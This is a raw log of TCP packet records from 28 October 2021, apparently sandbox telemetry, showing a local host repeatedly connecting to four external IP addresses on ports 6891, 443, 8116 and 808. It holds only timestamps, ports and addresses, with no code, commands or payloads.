Oct 28, 2021 05:04:43.737653017 CEST	6891	49868	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:43.737968922 CEST	6891	49868	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:43.738120079 CEST	49868	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:43.738616943 CEST	49868	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:43.743798018 CEST	49868	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:43.743920088 CEST	49868	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:43.753735065 CEST	49870	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:43.753758907 CEST	443	49870	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:43.753906012 CEST	49870	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:43.754539967 CEST	49870	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:43.754551888 CEST	443	49870	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:43.909512043 CEST	6891	49868	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:43.909578085 CEST	6891	49868	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:43.946921110 CEST	6891	49868	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:44.275131941 CEST	443	49870	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:44.275290966 CEST	49870	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:44.276032925 CEST	49870	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:44.276042938 CEST	443	49870	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:44.281774998 CEST	49870	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:44.281795025 CEST	443	49870	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:44.281816959 CEST	49870	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:44.281827927 CEST	443	49870	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:44.297871113 CEST	6891	49868	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:44.297894955 CEST	6891	49868	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:44.298046112 CEST	49868	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:44.301749945 CEST	49868	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:44.431277990 CEST	49871	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:44.467284918 CEST	6891	49868	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:44.490102053 CEST	8116	49871	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:44.490240097 CEST	49871	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:44.491131067 CEST	49871	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:44.547125101 CEST	8116	49871	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:44.547318935 CEST	8116	49871	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:44.547383070 CEST	49871	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:44.548734903 CEST	49871	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:44.551654100 CEST	49871	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:44.551743031 CEST	49871	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:44.607649088 CEST	8116	49871	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:44.607695103 CEST	8116	49871	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:44.780463934 CEST	8116	49871	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:44.780484915 CEST	8116	49871	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:44.780560970 CEST	49871	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:44.780613899 CEST	49871	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:44.785686016 CEST	49871	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:44.842556953 CEST	8116	49871	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:44.910310984 CEST	49872	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:44.910362005 CEST	443	49872	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:44.910469055 CEST	49872	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:44.911144972 CEST	49872	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:44.911163092 CEST	443	49872	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:44.995322943 CEST	443	49870	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:44.995407104 CEST	443	49870	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:44.995428085 CEST	49870	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:44.995457888 CEST	49870	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:45.003463984 CEST	49870	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:45.003490925 CEST	443	49870	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:45.114558935 CEST	49873	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:45.275259972 CEST	808	49873	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:45.275393963 CEST	49873	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:45.278328896 CEST	49873	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:45.399564981 CEST	443	49872	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:45.400566101 CEST	49872	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:45.400578976 CEST	49872	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:45.400585890 CEST	443	49872	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:45.407511950 CEST	49872	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:45.407530069 CEST	443	49872	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:45.407768965 CEST	49872	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:45.407778025 CEST	443	49872	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:45.439003944 CEST	808	49873	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:45.439325094 CEST	808	49873	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:45.441015005 CEST	49873	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:45.441479921 CEST	49873	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:45.444571018 CEST	49873	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:45.444633007 CEST	49873	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:45.602174997 CEST	808	49873	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:45.605861902 CEST	808	49873	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:45.605901957 CEST	808	49873	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:45.605922937 CEST	808	49873	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:45.992207050 CEST	808	49873	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:45.992232084 CEST	808	49873	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:45.992300987 CEST	49873	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:45.992343903 CEST	49873	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:46.002096891 CEST	49873	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:46.101527929 CEST	443	49872	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:46.101612091 CEST	443	49872	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:46.101737022 CEST	49872	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:46.104032040 CEST	49872	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:46.104054928 CEST	443	49872	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:46.114325047 CEST	49874	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:46.163151026 CEST	808	49873	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:46.228271008 CEST	49875	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:46.279798985 CEST	6891	49874	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:46.280980110 CEST	49874	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:46.281747103 CEST	49874	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:46.390716076 CEST	808	49875	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:46.392690897 CEST	49875	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:46.393342972 CEST	49875	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:46.448349953 CEST	6891	49874	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:46.448375940 CEST	6891	49874	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:46.448446035 CEST	49874	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:46.448904037 CEST	49874	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:46.451673031 CEST	49874	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:46.451776981 CEST	49874	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:46.555634022 CEST	808	49875	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:46.555674076 CEST	808	49875	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:46.555774927 CEST	49875	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:46.556407928 CEST	49875	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:46.559242010 CEST	49875	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:46.559360027 CEST	49875	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:46.616995096 CEST	6891	49874	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:46.617134094 CEST	6891	49874	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:46.617158890 CEST	6891	49874	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:46.722511053 CEST	808	49875	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:46.722549915 CEST	808	49875	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:46.722568989 CEST	808	49875	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:46.722593069 CEST	808	49875	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:46.996248007 CEST	6891	49874	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:46.996306896 CEST	6891	49874	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:46.996478081 CEST	49874	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:47.003207922 CEST	49874	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:47.103082895 CEST	808	49875	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:47.103125095 CEST	808	49875	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:47.103192091 CEST	49875	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:47.103223085 CEST	49875	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:47.106149912 CEST	49875	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:47.119770050 CEST	49876	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:47.168323040 CEST	8116	49876	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:47.168462038 CEST	6891	49874	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:47.168483019 CEST	49876	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:47.169173956 CEST	49876	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:47.217174053 CEST	8116	49876	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:47.217314959 CEST	8116	49876	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:47.217456102 CEST	49876	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:47.218031883 CEST	49876	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:47.223115921 CEST	49876	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:47.223258018 CEST	49876	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:47.233055115 CEST	49877	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:47.268467903 CEST	808	49875	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:47.271404028 CEST	8116	49876	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:47.271524906 CEST	8116	49876	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:47.398458004 CEST	6891	49877	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:47.398642063 CEST	49877	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:47.399277925 CEST	49877	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:47.456861019 CEST	8116	49876	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:47.456888914 CEST	8116	49876	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:47.456981897 CEST	49876	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:47.457051992 CEST	49876	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:47.468381882 CEST	49876	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:47.516606092 CEST	8116	49876	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:47.564941883 CEST	6891	49877	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:47.565011024 CEST	6891	49877	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:47.565220118 CEST	49877	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:47.565735102 CEST	49877	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:47.568758011 CEST	49877	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:47.568898916 CEST	49877	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:47.582905054 CEST	49878	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:47.582937956 CEST	443	49878	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:47.583019972 CEST	49878	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:47.583626986 CEST	49878	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:47.583641052 CEST	443	49878	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:47.734273911 CEST	6891	49877	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:47.734313965 CEST	6891	49877	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:48.066911936 CEST	443	49878	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:48.068166971 CEST	49878	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:48.068176985 CEST	49878	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:48.068183899 CEST	443	49878	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:48.073365927 CEST	49878	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:48.073379040 CEST	443	49878	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:48.073401928 CEST	49878	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:48.073412895 CEST	443	49878	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:48.115993977 CEST	6891	49877	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:48.116025925 CEST	6891	49877	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:48.116153002 CEST	49877	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:48.116213083 CEST	49877	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:48.118627071 CEST	49877	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:48.238410950 CEST	49879	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:48.283942938 CEST	6891	49877	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:48.294637918 CEST	8116	49879	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:48.294775963 CEST	49879	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:48.295478106 CEST	49879	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:48.351419926 CEST	8116	49879	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:48.351583004 CEST	8116	49879	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:48.351667881 CEST	49879	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:48.352262020 CEST	49879	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:48.355396986 CEST	49879	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:48.355483055 CEST	49879	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:48.411545038 CEST	8116	49879	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:48.412226915 CEST	8116	49879	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:48.597815990 CEST	8116	49879	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:48.597843885 CEST	8116	49879	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:48.597929955 CEST	49879	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:48.597959995 CEST	49879	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:48.600317001 CEST	49879	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:48.656518936 CEST	8116	49879	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:48.713896036 CEST	49880	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:48.713934898 CEST	443	49880	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:48.714035034 CEST	49880	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:48.716804028 CEST	49880	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:48.716829062 CEST	443	49880	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:48.757987976 CEST	443	49878	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:48.758068085 CEST	443	49878	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:48.758111000 CEST	49878	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:48.758152962 CEST	49878	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:48.765824080 CEST	49878	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:48.765846968 CEST	443	49878	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:48.880815029 CEST	49881	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:49.039033890 CEST	808	49881	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:49.039150000 CEST	49881	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:49.040143967 CEST	49881	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:49.198729038 CEST	808	49881	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:49.198754072 CEST	808	49881	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:49.198832035 CEST	49881	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:49.199340105 CEST	49881	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:49.203666925 CEST	49881	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:49.203798056 CEST	49881	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:49.232240915 CEST	443	49880	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:49.232309103 CEST	49880	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:49.232903004 CEST	49880	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:49.232913017 CEST	443	49880	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:49.237539053 CEST	49880	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:49.237548113 CEST	443	49880	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:49.237682104 CEST	49880	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:49.237689972 CEST	443	49880	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:49.358845949 CEST	808	49881	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:49.364051104 CEST	808	49881	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:49.364069939 CEST	808	49881	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:49.364156008 CEST	808	49881	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:49.748368025 CEST	808	49881	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:49.748404026 CEST	808	49881	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:49.748554945 CEST	49881	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:49.748589993 CEST	49881	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:49.754256010 CEST	49881	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:49.876878023 CEST	49882	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:49.912178993 CEST	808	49881	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:49.947451115 CEST	443	49880	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:49.947535038 CEST	443	49880	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:49.947617054 CEST	49880	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:49.947647095 CEST	49880	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:49.951293945 CEST	49880	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:49.951318979 CEST	443	49880	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:50.042269945 CEST	6891	49882	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:50.043051004 CEST	49882	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:50.043077946 CEST	49882	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:50.102727890 CEST	49883	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:50.208914042 CEST	6891	49882	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:50.209016085 CEST	6891	49882	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:50.209162951 CEST	49882	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:50.209741116 CEST	49882	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:50.214273930 CEST	49882	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:50.214433908 CEST	49882	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:50.267184973 CEST	808	49883	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:50.268874884 CEST	49883	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:50.288526058 CEST	49883	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:50.380575895 CEST	6891	49882	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:50.380604029 CEST	6891	49882	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:50.453128099 CEST	808	49883	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:50.453152895 CEST	808	49883	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:50.453726053 CEST	49883	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:50.454246998 CEST	49883	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:50.458266020 CEST	49883	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:50.458363056 CEST	49883	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:50.618535995 CEST	808	49883	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:50.622555971 CEST	808	49883	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:50.622582912 CEST	808	49883	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:50.774497032 CEST	6891	49882	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:50.774528980 CEST	6891	49882	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:50.775386095 CEST	49882	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:50.782354116 CEST	49882	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:50.894848108 CEST	49884	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:50.944080114 CEST	8116	49884	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:50.944317102 CEST	49884	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:50.945080996 CEST	49884	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:50.947777987 CEST	6891	49882	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:50.994008064 CEST	8116	49884	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:50.994287014 CEST	8116	49884	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:50.994368076 CEST	49884	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:50.994807005 CEST	49884	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:50.997484922 CEST	49884	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:50.997575045 CEST	49884	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:51.008573055 CEST	808	49883	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:51.008652925 CEST	808	49883	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:51.008766890 CEST	49883	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:51.008827925 CEST	49883	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:51.010997057 CEST	49883	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:51.046590090 CEST	8116	49884	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:51.046638966 CEST	8116	49884	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:51.048146009 CEST	8116	49884	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:51.129318953 CEST	49885	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:51.175252914 CEST	808	49883	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:51.217843056 CEST	8116	49884	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:51.217905998 CEST	8116	49884	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:51.218270063 CEST	49884	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:51.230196953 CEST	49884	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:51.279588938 CEST	8116	49884	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:51.294930935 CEST	6891	49885	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:51.295134068 CEST	49885	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:51.296272039 CEST	49885	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:51.350507021 CEST	49886	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:51.350544930 CEST	443	49886	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:51.350617886 CEST	49886	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:51.351453066 CEST	49886	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:51.351470947 CEST	443	49886	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:51.461710930 CEST	6891	49885	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:51.461736917 CEST	6891	49885	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:51.461824894 CEST	49885	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:51.462407112 CEST	49885	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:51.466351032 CEST	49885	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:51.466459036 CEST	49885	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:51.631757021 CEST	6891	49885	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:51.631778002 CEST	6891	49885	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:51.873898029 CEST	443	49886	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:51.874057055 CEST	49886	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:51.896730900 CEST	49886	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:51.896749020 CEST	443	49886	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:51.902028084 CEST	49886	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:51.902043104 CEST	443	49886	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:51.902228117 CEST	49886	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:51.902240038 CEST	443	49886	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:52.014827013 CEST	6891	49885	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:52.014854908 CEST	6891	49885	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:52.014926910 CEST	49885	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:52.018424034 CEST	49885	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:52.139245033 CEST	49887	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:52.183825970 CEST	6891	49885	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:52.194024086 CEST	8116	49887	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:52.194170952 CEST	49887	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:52.195533991 CEST	49887	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:52.250730038 CEST	8116	49887	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:52.250761986 CEST	8116	49887	185.56.219.47	192.168.2.3
